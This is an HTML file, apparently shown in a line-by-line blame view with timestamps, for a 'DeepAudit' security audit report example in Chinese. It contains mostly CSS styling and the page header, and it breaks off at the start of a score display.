2025-12-15 15:18:55 +08:00
|
|
|
|
<!DOCTYPE html>
|
|
|
|
|
|
<html lang="zh-CN">
|
2026-01-12 15:08:33 +08:00
|
|
|
|
|
2025-12-15 15:18:55 +08:00
|
|
|
|
<head>
|
|
|
|
|
|
<meta charset="UTF-8">
|
|
|
|
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
|
|
|
|
<title>安全审计报告 - 智能漏洞挖掘审计 - 完整示例</title>
|
|
|
|
|
|
<style>
|
|
|
|
|
|
:root {
|
|
|
|
|
|
--bg-body: #06060a;
|
|
|
|
|
|
--bg-primary: #0a0a0f;
|
|
|
|
|
|
--bg-secondary: #0f0f15;
|
|
|
|
|
|
--bg-tertiary: #16161f;
|
|
|
|
|
|
--bg-card: #12121a;
|
|
|
|
|
|
--text-primary: #f8fafc;
|
|
|
|
|
|
--text-secondary: #94a3b8;
|
|
|
|
|
|
--text-muted: #64748b;
|
|
|
|
|
|
--accent: #ff6b2c;
|
|
|
|
|
|
--accent-glow: rgba(255, 107, 44, 0.2);
|
|
|
|
|
|
--border: #1e293b;
|
|
|
|
|
|
--border-light: #334155;
|
|
|
|
|
|
--success: #10b981;
|
|
|
|
|
|
--critical: #dc2626;
|
|
|
|
|
|
--critical-bg: rgba(220, 38, 38, 0.12);
|
|
|
|
|
|
--high: #f97316;
|
|
|
|
|
|
--high-bg: rgba(249, 115, 22, 0.1);
|
|
|
|
|
|
--medium: #eab308;
|
|
|
|
|
|
--medium-bg: rgba(234, 179, 8, 0.08);
|
|
|
|
|
|
--low: #3b82f6;
|
|
|
|
|
|
--low-bg: rgba(59, 130, 246, 0.08);
|
|
|
|
|
|
--info: #6366f1;
|
|
|
|
|
|
--info-bg: rgba(99, 102, 241, 0.08);
|
|
|
|
|
|
--code-bg: #0d1117;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
*,
|
|
|
|
|
|
*::before,
|
|
|
|
|
|
*::after {
|
|
|
|
|
|
box-sizing: border-box;
|
|
|
|
|
|
margin: 0;
|
|
|
|
|
|
padding: 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
html {
|
|
|
|
|
|
scroll-behavior: smooth;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
body {
|
|
|
|
|
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
|
|
|
|
|
background: var(--bg-body);
|
|
|
|
|
|
color: var(--text-secondary);
|
|
|
|
|
|
line-height: 1.6;
|
|
|
|
|
|
font-size: 14px;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.container {
|
|
|
|
|
|
max-width: 900px;
|
|
|
|
|
|
margin: 0 auto;
|
|
|
|
|
|
padding: 0 1.5rem;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Header */
|
|
|
|
|
|
.header {
|
|
|
|
|
|
background: linear-gradient(135deg, var(--bg-primary), var(--bg-secondary));
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
padding: 1.25rem 0;
|
|
|
|
|
|
position: relative;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.header::before {
|
|
|
|
|
|
content: "";
|
|
|
|
|
|
position: absolute;
|
|
|
|
|
|
top: -50%;
|
|
|
|
|
|
right: -10%;
|
|
|
|
|
|
width: 300px;
|
|
|
|
|
|
height: 300px;
|
|
|
|
|
|
background: radial-gradient(circle, var(--accent-glow) 0%, transparent 70%);
|
|
|
|
|
|
pointer-events: none;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.header-content {
|
|
|
|
|
|
position: relative;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
justify-content: space-between;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.brand {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.5rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.brand-logo {
|
|
|
|
|
|
width: 28px;
|
|
|
|
|
|
height: 28px;
|
|
|
|
|
|
background: linear-gradient(135deg, var(--accent), #ff8f5a);
|
|
|
|
|
|
border-radius: 6px;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
font-weight: 800;
|
|
|
|
|
|
font-size: 0.9rem;
|
|
|
|
|
|
color: white;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.brand-text {
|
|
|
|
|
|
font-size: 1rem;
|
|
|
|
|
|
font-weight: 700;
|
|
|
|
|
|
color: var(--text-primary);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
.header-title {
|
|
|
|
|
|
font-size: 1.25rem;
|
|
|
|
|
|
font-weight: 700;
|
|
|
|
|
|
color: var(--text-primary);
|
|
|
|
|
|
text-align: center;
|
|
|
|
|
|
flex: 1;
|
|
|
|
|
|
margin: 0 1rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.header-meta {
|
|
|
|
|
|
text-align: right;
|
|
|
|
|
|
font-size: 0.7rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Stats Section */
|
|
|
|
|
|
.stats-section {
|
|
|
|
|
|
padding: 1rem 0;
|
|
|
|
|
|
background: var(--bg-primary);
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stats-grid {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 1.25rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-ring-container {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.75rem;
|
|
|
|
|
|
padding: 0.75rem 1rem;
|
|
|
|
|
|
background: var(--bg-card);
|
|
|
|
|
|
border-radius: 12px;
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-ring {
|
|
|
|
|
|
position: relative;
|
|
|
|
|
|
width: 56px;
|
|
|
|
|
|
height: 56px;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-ring svg {
|
2026-01-12 15:08:33 +08:00
|
|
|
|
transform: rotate(90deg) scaleY(-1);
|
2025-12-15 15:18:55 +08:00
|
|
|
|
width: 56px;
|
|
|
|
|
|
height: 56px;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.score-ring-bg {
|
|
|
|
|
|
fill: none;
|
|
|
|
|
|
stroke: var(--border);
|
|
|
|
|
|
stroke-width: 5;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-12-15 15:18:55 +08:00
|
|
|
|
.score-ring-progress {
|
|
|
|
|
|
fill: none;
|
|
|
|
|
|
stroke: #ef4444;
|
|
|
|
|
|
stroke-width: 5;
|
|
|
|
|
|
stroke-linecap: round;
|
2026-01-12 15:08:33 +08:00
|
|
|
|
stroke-dasharray: 144.51326206513048;
|
|
|
|
|
|
stroke-dashoffset: 92.48848772168351;
|
2025-12-15 15:18:55 +08:00
|
|
|
|
filter: drop-shadow(0 0 4px #ef444440);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-ring-content {
|
|
|
|
|
|
position: absolute;
|
|
|
|
|
|
inset: 0;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
flex-direction: column;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-value {
|
|
|
|
|
|
font-size: 1.1rem;
|
|
|
|
|
|
font-weight: 800;
|
|
|
|
|
|
color: #ef4444;
|
|
|
|
|
|
line-height: 1;
|
|
|
|
|
|
font-family: 'SF Mono', monospace;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-grade {
|
|
|
|
|
|
font-size: 0.55rem;
|
|
|
|
|
|
font-weight: 600;
|
|
|
|
|
|
color: #ef4444;
|
|
|
|
|
|
background: rgba(239, 68, 68, 0.1);
|
|
|
|
|
|
padding: 0.1rem 0.3rem;
|
|
|
|
|
|
border-radius: 3px;
|
|
|
|
|
|
margin-top: 0.15rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-label {
|
|
|
|
|
|
font-size: 0.65rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
text-transform: uppercase;
|
|
|
|
|
|
letter-spacing: 0.05em;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stats-cards {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
gap: 0.5rem;
|
|
|
|
|
|
flex: 1;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card {
|
|
|
|
|
|
flex: 1;
|
|
|
|
|
|
background: var(--bg-card);
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
border-radius: 8px;
|
|
|
|
|
|
padding: 0.6rem 0.75rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-header {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.4rem;
|
|
|
|
|
|
margin-bottom: 0.25rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-icon {
|
|
|
|
|
|
width: 18px;
|
|
|
|
|
|
height: 18px;
|
|
|
|
|
|
border-radius: 4px;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
font-size: 0.65rem;
|
|
|
|
|
|
font-weight: 700;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.stat-card-icon.critical {
|
|
|
|
|
|
background: var(--critical-bg);
|
|
|
|
|
|
color: var(--critical);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.stat-card-icon.high {
|
|
|
|
|
|
background: var(--high-bg);
|
|
|
|
|
|
color: var(--high);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-icon.total {
|
|
|
|
|
|
background: var(--info-bg);
|
|
|
|
|
|
color: var(--info);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-icon.verified {
|
|
|
|
|
|
background: rgba(16, 185, 129, 0.1);
|
|
|
|
|
|
color: var(--success);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-label {
|
|
|
|
|
|
font-size: 0.6rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
text-transform: uppercase;
|
|
|
|
|
|
letter-spacing: 0.05em;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-value {
|
|
|
|
|
|
font-size: 1.25rem;
|
|
|
|
|
|
font-weight: 700;
|
|
|
|
|
|
color: var(--text-primary);
|
|
|
|
|
|
font-family: 'SF Mono', monospace;
|
|
|
|
|
|
line-height: 1;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-value.critical {
|
|
|
|
|
|
color: var(--critical);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card-value.high {
|
|
|
|
|
|
color: var(--high);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Severity Bar */
|
|
|
|
|
|
.severity-section {
|
|
|
|
|
|
padding: 0.75rem 0;
|
|
|
|
|
|
background: var(--bg-primary);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-bar-wrap {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 1rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-bar-title {
|
|
|
|
|
|
font-size: 0.65rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
text-transform: uppercase;
|
|
|
|
|
|
white-space: nowrap;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-bar {
|
|
|
|
|
|
flex: 1;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
height: 6px;
|
|
|
|
|
|
border-radius: 3px;
|
|
|
|
|
|
overflow: hidden;
|
|
|
|
|
|
background: var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.severity-segment {
|
|
|
|
|
|
height: 100%;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-segment.critical {
|
|
|
|
|
|
background: var(--critical);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-segment.high {
|
|
|
|
|
|
background: var(--high);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-segment.medium {
|
|
|
|
|
|
background: var(--medium);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-segment.low {
|
|
|
|
|
|
background: var(--low);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
.severity-legend {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
gap: 0.75rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-legend-item {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.25rem;
|
|
|
|
|
|
font-size: 0.6rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.severity-dot {
|
|
|
|
|
|
width: 6px;
|
|
|
|
|
|
height: 6px;
|
|
|
|
|
|
border-radius: 50%;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-dot.critical {
|
|
|
|
|
|
background: var(--critical);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-dot.high {
|
|
|
|
|
|
background: var(--high);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-dot.medium {
|
|
|
|
|
|
background: var(--medium);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-dot.low {
|
|
|
|
|
|
background: var(--low);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Main Content */
|
|
|
|
|
|
.main-content {
|
|
|
|
|
|
padding: 1.5rem 0;
|
|
|
|
|
|
background: var(--bg-body);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.content-wrapper {
|
|
|
|
|
|
background: var(--bg-primary);
|
|
|
|
|
|
border-radius: 12px;
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
padding: 1.5rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Typography */
|
2026-01-12 15:08:33 +08:00
|
|
|
|
h1,
|
|
|
|
|
|
h2,
|
|
|
|
|
|
h3,
|
|
|
|
|
|
h4 {
|
2025-12-15 15:18:55 +08:00
|
|
|
|
color: var(--text-primary);
|
|
|
|
|
|
font-weight: 600;
|
|
|
|
|
|
letter-spacing: -0.01em;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
h1 {
|
|
|
|
|
|
font-size: 1.25rem;
|
|
|
|
|
|
margin: 1.5rem 0 0.75rem;
|
|
|
|
|
|
padding-bottom: 0.5rem;
|
|
|
|
|
|
border-bottom: 2px solid var(--accent);
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.5rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
h1::before {
|
|
|
|
|
|
content: "§";
|
|
|
|
|
|
color: var(--accent);
|
|
|
|
|
|
font-weight: 400;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
h2 {
|
|
|
|
|
|
font-size: 1.1rem;
|
|
|
|
|
|
margin: 1.25rem 0 0.5rem;
|
|
|
|
|
|
padding-bottom: 0.35rem;
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
h2::before {
|
|
|
|
|
|
content: "//";
|
|
|
|
|
|
color: var(--accent);
|
|
|
|
|
|
margin-right: 0.35rem;
|
|
|
|
|
|
font-weight: 400;
|
|
|
|
|
|
opacity: 0.7;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
h3 {
|
|
|
|
|
|
font-size: 1rem;
|
|
|
|
|
|
margin: 1rem 0 0.4rem;
|
|
|
|
|
|
padding-left: 0.75rem;
|
|
|
|
|
|
border-left: 2px solid var(--accent);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
h4 {
|
|
|
|
|
|
font-size: 0.9rem;
|
|
|
|
|
|
margin: 0.75rem 0 0.35rem;
|
|
|
|
|
|
color: var(--text-secondary);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
p {
|
|
|
|
|
|
margin-bottom: 0.6rem;
|
|
|
|
|
|
font-size: 0.875rem;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Code Blocks */
|
|
|
|
|
|
pre {
|
|
|
|
|
|
background: var(--code-bg);
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
border-radius: 8px;
|
|
|
|
|
|
margin: 0.75rem 0;
|
|
|
|
|
|
overflow: hidden;
|
|
|
|
|
|
font-size: 0.8rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
pre::before {
|
|
|
|
|
|
content: "CODE";
|
|
|
|
|
|
display: block;
|
|
|
|
|
|
background: var(--bg-tertiary);
|
|
|
|
|
|
padding: 0.35rem 0.75rem;
|
|
|
|
|
|
font-size: 0.6rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
text-transform: uppercase;
|
|
|
|
|
|
letter-spacing: 0.05em;
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
pre code {
|
|
|
|
|
|
display: block;
|
|
|
|
|
|
padding: 0.75rem;
|
|
|
|
|
|
overflow-x: auto;
|
|
|
|
|
|
line-height: 1.5;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
code {
|
|
|
|
|
|
font-family: 'SF Mono', 'Monaco', 'Consolas', monospace;
|
|
|
|
|
|
font-size: 0.85em;
|
|
|
|
|
|
color: #e2e8f0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
p code,
|
|
|
|
|
|
li code,
|
|
|
|
|
|
td code {
|
2025-12-15 15:18:55 +08:00
|
|
|
|
background: var(--bg-tertiary);
|
|
|
|
|
|
color: var(--accent);
|
|
|
|
|
|
padding: 0.15em 0.35em;
|
|
|
|
|
|
border-radius: 4px;
|
|
|
|
|
|
font-size: 0.8em;
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Tables */
|
|
|
|
|
|
table {
|
|
|
|
|
|
width: 100%;
|
|
|
|
|
|
border-collapse: collapse;
|
|
|
|
|
|
margin: 0.75rem 0;
|
|
|
|
|
|
background: var(--bg-card);
|
|
|
|
|
|
border-radius: 8px;
|
|
|
|
|
|
overflow: hidden;
|
|
|
|
|
|
border: 1px solid var(--border);
|
|
|
|
|
|
font-size: 0.8rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
th {
|
|
|
|
|
|
padding: 0.6rem 0.75rem;
|
|
|
|
|
|
text-align: left;
|
|
|
|
|
|
font-weight: 600;
|
|
|
|
|
|
font-size: 0.65rem;
|
|
|
|
|
|
color: var(--text-secondary);
|
|
|
|
|
|
text-transform: uppercase;
|
|
|
|
|
|
background: var(--bg-tertiary);
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
td {
|
|
|
|
|
|
padding: 0.5rem 0.75rem;
|
|
|
|
|
|
border-bottom: 1px solid var(--border);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
tr:last-child td {
|
|
|
|
|
|
border-bottom: none;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
tr:hover td {
|
|
|
|
|
|
background: rgba(255, 255, 255, 0.02);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Lists */
|
2026-01-12 15:08:33 +08:00
|
|
|
|
ul,
|
|
|
|
|
|
ol {
|
|
|
|
|
|
margin: 0.5rem 0 0.5rem 1.25rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
li {
|
|
|
|
|
|
margin-bottom: 0.25rem;
|
|
|
|
|
|
font-size: 0.875rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
li::marker {
|
|
|
|
|
|
color: var(--accent);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Blockquotes */
|
|
|
|
|
|
blockquote {
|
|
|
|
|
|
margin: 0.75rem 0;
|
|
|
|
|
|
padding: 0.6rem 1rem;
|
|
|
|
|
|
background: var(--bg-card);
|
|
|
|
|
|
border-left: 3px solid var(--accent);
|
|
|
|
|
|
border-radius: 0 8px 8px 0;
|
|
|
|
|
|
font-size: 0.85rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
blockquote p:last-child {
|
|
|
|
|
|
margin-bottom: 0;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Links */
|
2026-01-12 15:08:33 +08:00
|
|
|
|
a {
|
|
|
|
|
|
color: var(--accent);
|
|
|
|
|
|
text-decoration: none;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
a:hover {
|
|
|
|
|
|
text-decoration: underline;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* HR */
|
|
|
|
|
|
hr {
|
|
|
|
|
|
border: none;
|
|
|
|
|
|
height: 1px;
|
|
|
|
|
|
background: linear-gradient(90deg, transparent, var(--border), transparent);
|
|
|
|
|
|
margin: 1.5rem 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-01-12 15:08:33 +08:00
|
|
|
|
strong {
|
|
|
|
|
|
color: var(--text-primary);
|
|
|
|
|
|
font-weight: 600;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
em {
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
|
|
|
|
|
|
/* Footer */
|
|
|
|
|
|
.report-footer {
|
|
|
|
|
|
padding: 1rem 0;
|
|
|
|
|
|
background: var(--bg-primary);
|
|
|
|
|
|
border-top: 1px solid var(--border);
|
|
|
|
|
|
text-align: center;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.footer-content {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
gap: 0.5rem;
|
|
|
|
|
|
font-size: 0.7rem;
|
|
|
|
|
|
color: var(--text-muted);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.footer-brand {
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
gap: 0.35rem;
|
|
|
|
|
|
color: var(--text-secondary);
|
|
|
|
|
|
font-weight: 600;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.footer-brand-icon {
|
|
|
|
|
|
width: 16px;
|
|
|
|
|
|
height: 16px;
|
|
|
|
|
|
background: linear-gradient(135deg, var(--accent), #ff8f5a);
|
|
|
|
|
|
border-radius: 4px;
|
|
|
|
|
|
display: flex;
|
|
|
|
|
|
align-items: center;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
font-size: 0.6rem;
|
|
|
|
|
|
color: white;
|
|
|
|
|
|
font-weight: 800;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Responsive */
|
|
|
|
|
|
@media (max-width: 768px) {
|
2026-01-12 15:08:33 +08:00
|
|
|
|
.container {
|
|
|
|
|
|
padding: 0 1rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stats-grid {
|
|
|
|
|
|
flex-direction: column;
|
|
|
|
|
|
gap: 0.75rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.score-ring-container {
|
|
|
|
|
|
width: 100%;
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stats-cards {
|
|
|
|
|
|
flex-wrap: wrap;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.stat-card {
|
|
|
|
|
|
min-width: calc(50% - 0.25rem);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-bar-wrap {
|
|
|
|
|
|
flex-direction: column;
|
|
|
|
|
|
align-items: stretch;
|
|
|
|
|
|
gap: 0.5rem;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.severity-legend {
|
|
|
|
|
|
justify-content: center;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.content-wrapper {
|
|
|
|
|
|
padding: 1rem;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Print */
|
|
|
|
|
|
@media print {
|
|
|
|
|
|
:root {
|
|
|
|
|
|
--bg-body: #fff;
|
|
|
|
|
|
--bg-primary: #fff;
|
|
|
|
|
|
--bg-secondary: #f8fafc;
|
|
|
|
|
|
--bg-tertiary: #f1f5f9;
|
|
|
|
|
|
--bg-card: #fff;
|
|
|
|
|
|
--text-primary: #0f172a;
|
|
|
|
|
|
--text-secondary: #475569;
|
|
|
|
|
|
--text-muted: #64748b;
|
|
|
|
|
|
--border: #e2e8f0;
|
|
|
|
|
|
--code-bg: #f8fafc;
|
|
|
|
|
|
}
|
2026-01-12 15:08:33 +08:00
|
|
|
|
|
|
|
|
|
|
body {
|
|
|
|
|
|
background: white;
|
|
|
|
|
|
font-size: 11pt;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.header::before {
|
|
|
|
|
|
display: none;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
.content-wrapper {
|
|
|
|
|
|
border: none;
|
|
|
|
|
|
padding: 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
pre {
|
|
|
|
|
|
break-inside: avoid;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
code {
|
|
|
|
|
|
color: #1e293b;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
p code,
|
|
|
|
|
|
li code {
|
|
|
|
|
|
background: #f1f5f9;
|
|
|
|
|
|
color: #c2410c;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
a {
|
|
|
|
|
|
color: #2563eb;
|
|
|
|
|
|
}
|
2025-12-15 15:18:55 +08:00
|
|
|
|
}
|
|
|
|
|
|
</style>
|
|
|
|
|
|
</head>
|
2026-01-12 15:08:33 +08:00
|
|
|
|
|
2025-12-15 15:18:55 +08:00
|
|
|
|
<body>
|
|
|
|
|
|
<header class="header">
|
|
|
|
|
|
<div class="container">
|
|
|
|
|
|
<div class="header-content">
|
|
|
|
|
|
<div class="brand">
|
|
|
|
|
|
<div class="brand-logo">D</div>
|
|
|
|
|
|
<span class="brand-text">DeepAudit</span>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
<h1 class="header-title">智能漏洞挖掘审计 - 完整示例</h1>
|
|
|
|
|
|
<div class="header-meta">2025/12/15 11:07</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</div>
|
|
|
|
|
|
</header>
|
|
|
|
|
|
|
|
|
|
|
|
<section class="stats-section">
|
|
|
|
|
|
<div class="container">
|
|
|
|
|
|
<div class="stats-grid">
|
|
|
|
|
|
<div class="score-ring-container">
|
|
|
|
|
|
<div class="score-ring">
